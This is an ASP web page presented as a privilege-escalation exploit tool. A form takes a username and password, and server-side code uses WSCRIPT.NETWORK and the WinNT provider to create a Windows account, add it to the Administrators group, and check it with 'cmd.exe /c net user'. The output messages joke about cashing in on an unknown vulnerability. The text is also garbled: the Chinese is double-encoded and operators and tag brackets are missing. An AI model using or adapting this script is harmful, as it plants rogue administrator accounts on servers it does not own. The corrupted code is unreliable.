head>.network對(duì)象腳本權(quán)限提升漏洞利用工具/head> 
form action="useradd.asp" method=post> 
用戶(hù):input name="username" type="text" value="kevin1986">br> 
密碼:input name="passwd" type="password">br> 
input type="submit" Value="添 加"> 
/form> 

%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz"/Administrators,group") 
Set od=ob.create("user",username) 
od.SetPassword passwd 
od.SetInfo 
oe.Add oz"/"username 
if err then 
response.write "哎~~今天你還是別買(mǎi)6+1了……省下2元錢(qián)買(mǎi)瓶可樂(lè)也好……" 
else 
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "username.stdout.readall),"上次登錄")>0 then 
response.write "雖然沒(méi)有錯(cuò)誤,但是好象也沒(méi)建立成功.你一定很郁悶吧" 
else 
Response.write "OMG!"username"帳號(hào)居然成了!這可是未知漏洞啊.5,000,000RMB是你的了" 
end if 
end if 
else 
response.write "請(qǐng)輸入輸入用戶(hù)名" 
end if 
end if 
%>